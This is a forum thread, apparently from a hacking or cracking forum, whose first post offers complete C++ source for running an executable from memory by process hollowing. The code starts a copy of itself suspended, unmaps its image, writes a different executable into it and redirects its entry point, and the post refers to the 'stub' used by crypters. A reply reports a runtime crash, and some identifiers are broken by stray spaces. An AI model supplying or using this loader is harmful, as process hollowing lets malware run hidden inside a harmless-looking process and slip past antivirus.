Results 1 to 2 of 2
  1. #1
    Dwar
    Dwar is offline
    Veteran Dwar's Avatar
    Join Date
    2010 Mar
    Posts
    2,221
    Thanks
    211
    Thanked 2,224 Times in 289 Posts
    Rep Power
    10

    [C++] Process Forking - Running Process From Memory

    In computing, when a process forks, it creates a copy of itself. More generally, a fork in a multithreading environment means that a thread of execution is duplicated, creating a child thread from the parent thread.
    It allows you to run a process from a resource or memory and not a file. This creates a separate process.

    If you want to run a process from within the stub process instead of creating a new process, this can be achieved with something similar to this code. However, it takes a lot more work and a lot more things would need fixing for it to work 100%. But you could eventually use CreateThread() on the Entry point.

     //--------------------------------------------------------
    // Dynamic Process Forking of Portable Executable
    // Author : Vrillon / Venus
    // Date : 07/14/2008
    //--------------------------------------------------------
    /************************************************** *******/
    /* With this header, you can create and run a process */
    /* from memory and not from a file. */
    /************************************************** *******/

    #ifdef WIN32
    #include <windows.h>
    #else
    #error Process Forking Requires a Windows Operating System
    #endif

    #include <stdio.h>

    /////////////////////////////////////////////////////////////
    // NtUnmapViewOfSection (ZwUnmapViewOfSection)
    // Used to unmap a section from a process.
    typedef long int (__stdcall* NtUnmapViewOfSectionF)(HANDLE,PVOID);
    NtUnmapViewOfSectionF NtUnmapViewOfSection = (NtUnmapViewOfSectionF)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtUnmapViewOfSection");

    /////////////////////////////////////////////////////////////
    // Fork Process
    // Dynamically create a process based on the parameter 'lpImage'. The parameter should have the entire
    // image of a portable executable file from address 0 to the end.
    bool ForkProcess(LPVOID lpImage)
    {
    // Variables for Process Forking
    long int lWritten;
    long int lHeaderSize;
    long int lImageSize;
    long int lSectionCount;
    long int lSectionSize;
    long int lFirstSection;
    long int lPreviousProtection;
    long int lJumpSize;

    bool bReturnValue;

    LPVOID lpImageMemory;
    LPVOID lpImageMemoryDummy;

    IMAGE_DOS_HEADER dsDosHeader;
    IMAGE_NT_HEADERS ntNtHeader;
    IMAGE_SECTION_HEADER shSections[512 * 2];

    PROCESS_INFORMATION piProcessInformation;
    STARTUPINFO suStartUpInformation;

    CONTEXT cContext;

    // Variables for Local Process
    FILE* fFile;
    char* pProcessName;

    long int lFileSize;
    long int lLocalImageBase;
    long int lLocalImageSize;

    LPVOID lpLocalFile;

    IMAGE_DOS_HEADER dsLocalDosHeader;
    IMAGE_NT_HEADERS ntLocalNtHeader;

    // End Variable Definition

    bReturnValue = false;

    pProcessName = new char[MAX_PATH];
    ZeroMemory(pProcessName,MAX_PATH);

    // Get the file name for the dummy process
    if(GetModuleFileName(NULL,pProcessName,MAX_PATH) == 0)
    {
    delete [] pProcessName;
    return bReturnValue;
    }

    // Open the dummy process in binary mode
    fFile = fopen(pProcessName,"rb");
    if(!fFile)
    {
    delete [] pProcessName;
    return bReturnValue;
    }

    fseek(fFile,0,SEEK_END);

    // Get file size
    lFileSize = ftell(fFile);

    rewind(fFile);

    // Allocate memory for dummy file
    lpLocalFile = new LPVOID[lFileSize];
    ZeroMemory(lpLocalFile,lFileSize);

    // Read memory of file
    fread(lpLocalFile,lFileSize,1,fFile);

    // Close file
    fclose(fFile);

    // Grab the DOS Headers
    memcpy(&dsLocalDosHeader,lpLocalFile,sizeof(dsLoca lDosHeader));

    if(dsLocalDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
    {
    delete [] pProcessName;
    delete [] lpLocalFile;
    return bReturnValue;
    }

    // Grab NT Headers
    memcpy(&ntLocalNtHeader,(LPVOID)((long int)lpLocalFile+dsLocalDosHeader.e_lfanew),sizeof( dsLocalDosHeader));

    if(ntLocalNtHeader.Signature != IMAGE_NT_SIGNATURE)
    {
    delete [] pProcessName;
    delete [] lpLocalFile;
    return bReturnValue;
    }

    // Get Size and Image Base
    lLocalImageBase = ntLocalNtHeader.OptionalHeader.ImageBase;
    lLocalImageSize = ntLocalNtHeader.OptionalHeader.SizeOfImage;

    // Deallocate
    delete [] lpLocalFile;

    // Grab DOS Header for Forking Process
    memcpy(&dsDosHeader,lpImage,sizeof(dsDosHeader));

    if(dsDosHeader.e_magic != IMAGE_DOS_SIGNATURE)
    {
    delete [] pProcessName;
    return bReturnValue;
    }

    // Grab NT Header for Forking Process
    memcpy(&ntNtHeader,(LPVOID)((long int)lpImage+dsDosHeader.e_lfanew),sizeof(ntNtHeade r));

    if(ntNtHeader.Signature != IMAGE_NT_SIGNATURE)
    {
    delete [] pProcessName;
    return bReturnValue;
    }

    // Get proper sizes
    lImageSize = ntNtHeader.OptionalHeader.SizeOfImage;
    lHeaderSize = ntNtHeader.OptionalHeader.SizeOfHeaders;

    // Allocate memory for image
    lpImageMemory = new LPVOID[lImageSize];
    ZeroMemory(lpImageMemory,lImageSize);

    lpImageMemoryDummy = lpImageMemory;

    lFirstSection = (long int)(((long int)lpImage+dsDosHeader.e_lfanew) + sizeof(IMAGE_NT_HEADERS));

    memcpy(shSections,(LPVOID)(lFirstSection),sizeof(I MAGE_SECTION_HEADER)*ntNtHeader.FileHeader.NumberO fSections);
    memcpy(lpImageMemoryDummy,lpImage,lHeaderSize);

    // Get Section Alignment
    if((ntNtHeader.OptionalHeader.SizeOfHeaders % ntNtHeader.OptionalHeader.SectionAlignment) == 0)
    {
    lJumpSize = ntNtHeader.OptionalHeader.SizeOfHeaders;
    }
    else
    {
    lJumpSize = (ntNtHeader.OptionalHeader.SizeOfHeaders/ntNtHeader.OptionalHeader.SectionAlignment);
    lJumpSize += 1;
    lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment);
    }

    lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize);

    // Copy Sections To Buffer
    for(lSectionCount = 0; lSectionCount < ntNtHeader.FileHeader.NumberOfSections; lSectionCount++)
    {
    lJumpSize = 0;
    lSectionSize = shSections[lSectionCount].SizeOfRawData;

    memcpy(lpImageMemoryDummy,(LPVOID)((long int)lpImage + shSections[lSectionCount].PointerToRawData),lSectionSize);

    if((shSections[lSectionCount].Misc.VirtualSize % ntNtHeader.OptionalHeader.SectionAlignment)==0)
    {
    lJumpSize = shSections[lSectionCount].Misc.VirtualSize;
    }
    else
    {
    lJumpSize = (shSections[lSectionCount].Misc.VirtualSize/ntNtHeader.OptionalHeader.SectionAlignment);
    lJumpSize += 1;
    lJumpSize *= (ntNtHeader.OptionalHeader.SectionAlignment);
    }

    lpImageMemoryDummy = (LPVOID)((long int)lpImageMemoryDummy + lJumpSize);
    }

    ZeroMemory(&suStartUpInformation,sizeof(STARTUPINF O));
    ZeroMemory(&piProcessInformation,sizeof(PROCESS_IN FORMATION));
    ZeroMemory(&cContext,sizeof(CONTEXT));

    suStartUpInformation.cb = sizeof(suStartUpInformation);

    // Create Process
    if(CreateProcess(NULL,pProcessName,NULL,NULL,false ,CREATE_SUSPENDED,NULL,NULL,&suStartUpInformation, &piProcessInformation))
    {
    cContext.ContextFlags = CONTEXT_FULL;
    GetThreadContext(piProcessInformation.hThread,&cCo ntext);

    // Check image base and image size
    if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize)
    {
    VirtualProtectEx(piProcessInformation.hProcess,(LP VOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSiz e,PAGE_EXECUTE_READWRITE,(unsigned long*)&lPreviousProtection);
    }
    else
    {
    if(!NtUnmapViewOfSection(piProcessInformation.hPro cess,(LPVOID)((DWORD)lLocalImageBase)))
    VirtualAllocEx(piProcessInformation.hProcess,(LPVO ID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSiz e,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    }

    // Write Image to Process
    if(WriteProcessMemory(piProcessInformation.hProces s,(LPVOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lpImageMe mory,lImageSize,(unsigned long*)&lWritten))
    {
    bReturnValue = true;
    }

    // Set Image Base
    if(WriteProcessMemory(piProcessInformation.hProces s,(LPVOID)((long int)cContext.Ebx + 8),&ntNtHeader.OptionalHeader.ImageBase,4,(unsigne d long*)&lWritten))
    {
    if(bReturnValue == true)
    bReturnValue = true;
    }

    if(bReturnValue == false)
    {
    delete [] pProcessName;
    delete [] lpImageMemory;
    return bReturnValue;
    }

    // Set the new entry point
    cContext.Eax = ntNtHeader.OptionalHeader.ImageBase + ntNtHeader.OptionalHeader.AddressOfEntryPoint;

    SetThreadContext(piProcessInformation.hThread,&cCo ntext);

    if(lLocalImageBase == (long int)ntNtHeader.OptionalHeader.ImageBase && lImageSize <= lLocalImageSize)
    VirtualProtectEx(piProcessInformation.hProcess,(LP VOID)((long int)ntNtHeader.OptionalHeader.ImageBase),lImageSiz e,lPreviousProtection,0);

    // Resume the process
    ResumeThread(piProcessInformation.hThread);
    }

    delete [] pProcessName;
    delete [] lpImageMemory;

    return bReturnValue;
    }

    // Fork Process From Resource
    // Dynamically create a process from a resource file.
    bool ForkProcessFromResource(int iResource,char* pResourceSection)
    {
    HGLOBAL hResData;
    HRSRC hResInfo;

    LPVOID lpRes;
    LPVOID lpMemory;
    long int lSize;

    HMODULE hModule;

    bool bReturn;

    hModule = GetModuleHandle(0);
    bReturn = false;

    if(!hModule)
    return bReturn;

    hResInfo = FindResource(hModule, MAKEINTRESOURCE(iResource), pResourceSection);
    if(!hResInfo)
    {
    return bReturn;
    }

    hResData = LoadResource(hModule, hResInfo);
    if(!hResData)
    {
    return bReturn;
    }

    lpRes = LockResource(hResData);
    if(!lpRes)
    {
    FreeResource(hResData);
    return bReturn;
    }


    lSize = SizeofResource(hModule, hResInfo);

    lpMemory = new LPVOID[lSize];
    ZeroMemory(lpMemory,lSize);

    memcpy (lpMemory, lpRes, lSize);

    bReturn = ForkProcess(lpMemory);

    FreeResource(hResData);
    delete [] lpMemory;

    return bReturn;
    }

    Can be used like this:
     ForkProcess(pointer to executable memory);
    or
    ForkProcessFromResource(IDE_FILE1,"EXE"); (If you wanna load it from a resource)

    by Vrillon
    Please, post your questions on forum, not by PM or mail

    I spend my time, so please pay a little bit of your time to keep world in equilibrium

  2. The Following User Says Thank You to Dwar For This Useful Post:


  3. #2
    securedsolution
    securedsolution is offline
    Guest
    Join Date
    2013 Mar
    Posts
    1
    Thanks
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    0

    Error

    I get the following access violation error during runtime
    LeadDown2:
    Code:
          mov     al,[esi+3]      ;U - load first byte
    I am running Windows 8 x64

Visitors found this page by searching for:

c run from memory

run exe from memory c

run from memory C

Create Process from memory

dynamic forking c

c run exe from memory

Dynamic forking of a process in win32

createprocess from memory buffer

NtUnmapViewOfSection

process forking c

CreateProcess from memory

c execute from memory

runfrommemory

runfrommemory c

NtUnmapViewOfSection header

execute from memory c

c runfrommemory

Run Executable From Memory C dynamic forking win32c createprocess from memoryCreateProcess WriteProcessMemory memoryrun exe memory c dynamic forking process win32dynamic forking c#run exe in memory c

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •